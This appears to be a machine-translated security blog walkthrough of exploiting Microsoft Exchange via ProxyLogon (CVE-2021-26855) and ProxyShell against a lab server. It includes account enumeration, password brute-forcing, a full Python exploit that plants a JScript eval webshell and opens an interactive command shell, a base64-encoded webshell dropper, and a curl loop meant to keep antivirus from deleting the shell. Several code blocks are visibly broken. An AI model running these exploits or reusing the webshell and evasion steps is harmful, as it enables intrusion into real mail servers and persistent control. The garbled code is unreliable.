5: Determine if the email account exists (if an existing email is found, you can directly exploit the vulnerability)

0 29
1: Rapidly find if there is Exchangesetspn -q */* setspn -T domain -F -Q */* |...

1: Rapidly find if there is Exchange

setspn -q */*
setspn -T domain -F -Q */* | findstr exchange

1735611958_67735636894792ee49f9d.png!small

1735611966_6773563e81c0e570e7cd3.png!small

2: Locate Exchange

First: Found through Spn, ping WIN-BN4UGESV2UD

1735611982_6773564eeb01e24c627bd.png!small

Second: fscan scan results, path is /owa/auth/

1735612000_6773566056a45605defb8.png!small

3: View Exchange version

Right-click to view the source code

1735612030_6773567e35ea5aa25a0da.png!small

4: Information collection

Tool obtained: Get IP address - Version - Domain - Machine name

1735612050_677356924a15347195ce4.png!small

Burp manually obtained: Get machine name - LegacyDN

POST /ecp/target.js HTTP/2
Host: win-bn4ugesv2ud
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=localhost~1941962754
Content-Type: text/xml
Content-Length: 2


1735612125_677356dd9253309de1765.png!small

1: Modify the target machine name

2: Modify the domain

POST /ecp/target.js HTTP/2
Host: win-bn4ugesv2ud
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=[name]@win-bn4ugesv2ud.hack.com:443/autodiscover/autodiscover.xml?#~1941962754
Content-Type: text/xml
Content-Length: 345

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>administrator@hack.com</EMailAddress>
                <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>

1735612170_6773570a055797c1654d5.png!small

5: Determine if the email account exists (if an existing email is found, you can directly exploit the vulnerability)

Place user.txt to enumerate email accounts

go run CVE-2021-26855-PoC.go -h win-bn4ugesv2ud -U user.txt

1735612207_6773572f93d60be893adc.png!small

6: Brute force email passwords

1: Compose a dictionary of brute-forced email accounts

2: Use Intruder to brute force the collected passwords

If the password is correct

1735612272_67735770b61b2b5a5dfcc.png!small

7: Background information collection

1: Behind the scenes, see the contact list sending phishing malware

2: Can search the contact list for brute force (it can be used to write a report)

1735612291_67735783dc19ac51c198b.png!small

8: Vulnerability exploitation *1

Prerequisites: need to brute force the email and fill it into the script

As the account here is key, I have added the key user to fuzz_email

# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
              'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'key', 'no-reply'

proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

final_shell = ""

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))




if __name__=="__main__":
    parser = argparse.ArgumentParser(),
        description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\nIf you are not sure about the username, you can omit the -user parameter, and the username will be automatically Fuzzed.')
    parser.add_argument('-u', type=str,
                        help='target')
    parser.add_argument('-user',
                        help='exist email', default='')
    parser.add_argument('-suffix',
                        help='email suffix')
    args = parser.parse_args()
    target = args.u
    suffix = args.suffix
    if suffix == "":
        print("Please enter suffix")

    exist_email = args.user
    if exist_email:
        fuzz_email.insert(0, exist_email)
    random_name = id_generator(4) + ".js"
    print("目标 Exchange Server: " + target)

    for i in fuzz_email:
        new_email = i+suffix
        autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % new_email
        # print("get FQDN")
        FQDN = "EXCHANGE01"
        ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                            "User-Agent": user_agent},
                      verify=False, proxies=proxies)

        if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
            FQDN = ct.headers["X-FEServer"]
            print("got FQDN:" + FQDN)

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
            "Content-Type": "text/xml",
            "User-Agent": user_agent},
            data=autoDiscoverBody,
            proxies=proxies,
            verify=False
        )

        if ct.status_code != 200:
            print(ct.status_code)
            print("Autodiscover Error!")

        if "<LegacyDN>" not in str(ct.content):
            print("Can not get LegacyDN!")
        try:
            legacyDn = str(ct.content).split("<LegacyDN>")[
                1].split(r"</LegacyDN>")[0]
            print("Got DN: " + legacyDn)

            mapi_body = legacyDn + \
                "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
                "Content-Type": "application/mapi-http",
                "X-Requesttype": "Connect",
                "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
                "X-Clientapplication": "Outlook/15.0.4815.1002",
                "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
                "User-Agent": user_agent
            },
                data=mapi_body,
                verify=False,
                proxies=proxies
            )
            if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
                print("Mapi Error!")
                exit()

            sid = str(ct.content).split("with SID ")[
                1].split(" and MasterAccountSid")[0]

            print("Got SID: " + sid)
            sid = sid.replace(sid.split("-")[-1], "500")

            proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>"""
            """ % sid

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
                "Content-Type": "text/xml",
                "msExchLogonMailbox": "S-1-5-20",
                "User-Agent": user_agent
            },
                data=proxyLogon_request,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 241 or not "set-cookie" in ct.headers:
                
                exit()

            sess_id = ct.headers['set-cookie'].split(
                "ASP.NET_SessionId=")[1].split(";")[0]

            msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
                1].split(";")[0]
            print("Got session id: " + sess_id)
            print("Got canary: " + msExchEcpCanary)

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                # "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary)

                "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
                            format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
                                    msExchEcpCanary=msExchEcpCanary),
                            "Content-Type": "application/json; charset=utf-8",
                            "msExchLogonMailbox": "S-1-5-20",
                            "User-Agent": user_agent

                            },
                            json={"filter": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
                            verify=False,
                            proxies=proxies
                            )

            if ct.status_code != 200:
                print("GetOAB Error!")
                exit()
            oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
            print("Got OAB id: " + oabId)

            oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                        "properties": {
                            "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                        "ExternalUrl": "http://ffff/#%s" % shell_content}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (}}
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=oab_json,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 200:
                print("Set external url Error!")
                exit()

            reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                            "properties": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "FilePathName": shell_absolute_path}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=reset_oab_body,
                proxies=proxies,
                verify=False
            )

            if ct.status_code != 200:
                print("写入shell失败")
                exit()
            shell_url = "https://"+target+"/owa/auth/test11.aspx"
            print("成功写入shell:" + shell_url)
            print("下面验证shell是否ok")
            print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
            print("正在请求shell")
            import time
            time.sleep(1)
            data = requests.post(shell_url, data={
                                "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
            if data.status_code != 200:
                print("写入shell失败")
            
                print("shell:"+data.text.split("OAB (Default Web Site)")
                    [0].replace("Name                            : ", ""))
                print('[+]用户名: '+ new_email)
                final_shell = shell_url
                break
        except:
            print('[-]用户名: '+new_email)
            print("=============================")
    if not final_shell:
        sys.exit()
    print("下面启用交互式shell")
    while True:
        input_cmd = input("[#] command: ")
        data={"code": "\"Response.Write(new ActiveXObject(\"WScript.Shell\
        ct = requests.post(
            final_shell,
            data=data,verify=False, proxies=proxies)
        if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
            print("[*] Failed to execute shell command")
        
            shell_response = ct.text.split(
                "Name                            :")[0]
            print(shell_response)


python exp.py -u 192.168.181.239 -user administrator -suffix @hack.com

1735612354_677357c23741e3e8ed56a.png!small

Webshell Password: code, ignore HTTPS certificate

1735612377_677357d9dda35f7c250d4.png!small

1735612393_677357e92c9a236c433db.png!small

1735612399_677357efcef0d084bba26.png!small

9: Vulnerability exploitation *2

1: The second script can be tried multiple times. Sometimes, if it doesn't work once, try twice.

2: The second script exploits the users.txt in the current directory. It can directly place a large number of users, or place valid users obtained from step five. This achieves the effect of brute-forcing email accounts and exploiting vulnerabilities.

Exploit script

Email account

python exp2.py win-bn4ugesv2ud

1735612461_6773582d0bbbe33968972.png!small

1735612470_677358363ffcfe629e735.png!small

10: Vulnerability exploitation *3 (uses encrypted webshell)

proxyshell_rce.py

python proxyshell_rce.py -u https://192.168.181.239 -e administrator@hack.com

After running the program, enter in order:

Get-MailboxExportRequest
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
dropshell

1735612509_6773585d063a8d15e4063.png!small

1735612515_67735863db39ec4f1de7d.png!small

Issues:
In practice, many Exchange environments are system privileges, but commands still cannot be executed, and access denied errors may occur. Generally, this situation occurs due to command restrictions or antivirus software.
The default malware included in this POC is easily detectable. In actual combat, it is recommended to customize the malware content. Here, I have modified it and executed it to obtain a shell.

11: Bypass the waf and write a generating malware aspx

1. First, we need to generate an encrypted webshell

Webshell encryption script:

https://github.com/Ridter/proxyshell_payload

Modify in proxyshell_payload.py

1735612556_6773588c7ccdf7a3e1e88.png!small

Modify the end of the picture, replace it with the webshell

Then run to get the payload (encoded part):

1735612568_67735898ad802a2c41a19.png!small

2. Use the script to attack

Exploit usage:

https://github.com/dmaasland/proxyshell-poc

Then install dependencies, copy the payload obtained in the previous step to line 314 of proxyshell_rce.py:

1735612590_677358ae633f06f993739.png!small

python proxyshell_rce.py -u https://192.168.181.239 -e administrator@hack.com

The following content is used to generate a 123.aspx. As long as we upload and access it once, a webshell will be generated in the current directory. The condition is that we need to upload it through the above exploit script or encrypt the following content again through the webshell encryption script and then upload it again, and then access it via web.

1735612681_67735909535693031ed5b.png!small

Explanation:

The content is to generate a file in the root directory of the aspx file, which is 123.aspx
PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK
Use base64 to decrypt and write to 123.aspx

Finally, re-upload and access the uploaded file, and if it prompts 'success', it means that the writing has succeeded

In case of being killed, write a sh script to hang on the server and keep accessing that link, because we are accessing it means that this file is being used, causing the waf to be unable to delete our malware

#!/bin/bash

while true
do
curl -ki https://xxxx.xxx//aspnet_client/ixxxot.aspx
done

你可能想看:

Announcement regarding the addition of 7 units as technical support units for the Ministry of Industry and Information Technology's mobile Internet APP product security vulnerability database

Different SRC vulnerability discovery approach: Practical case of HTTP request splitting vulnerability

Ensure that the ID can be accessed even if it is guessed or cannot be tampered with; the scenario is common in resource convenience and unauthorized vulnerability scenarios. I have found many vulnerab

b) It should have the login failure handling function, and should configure and enable measures such as ending the session, limiting the number of illegal logins, and automatically exiting when the lo

In-depth Analysis and Practice: Analysis of Apache Commons SCXML Remote Code Execution Vulnerability and POC EXP Construction

Analysis of SSRF Vulnerability in Next.js: A deep exploration of blind SSRF attacks and their preventive strategies

b) It should have a login failure handling function, and should configure and enable measures such as ending the session, limiting the number of illegal login attempts, and automatically logging out w

ExploitPack (cracked) is an offensive penetration tool that includes 0day and a large number of undetectable exploit programs.

Analysis of OAuth2.0 Vulnerability Cases and Detailed Explanation of PortSwigger Range

d) Adopt identification technologies such as passwords, password technologies, biometric technologies, and combinations of two or more to identify users, and at least one identification technology sho

最后修改时间:
admin
上一篇 2025年03月26日 07:07
下一篇 2025年03月26日 07:30

评论已关闭